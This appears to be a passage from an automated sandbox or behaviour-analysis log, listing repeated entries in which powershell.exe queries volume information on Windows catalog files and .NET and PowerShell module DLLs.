      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
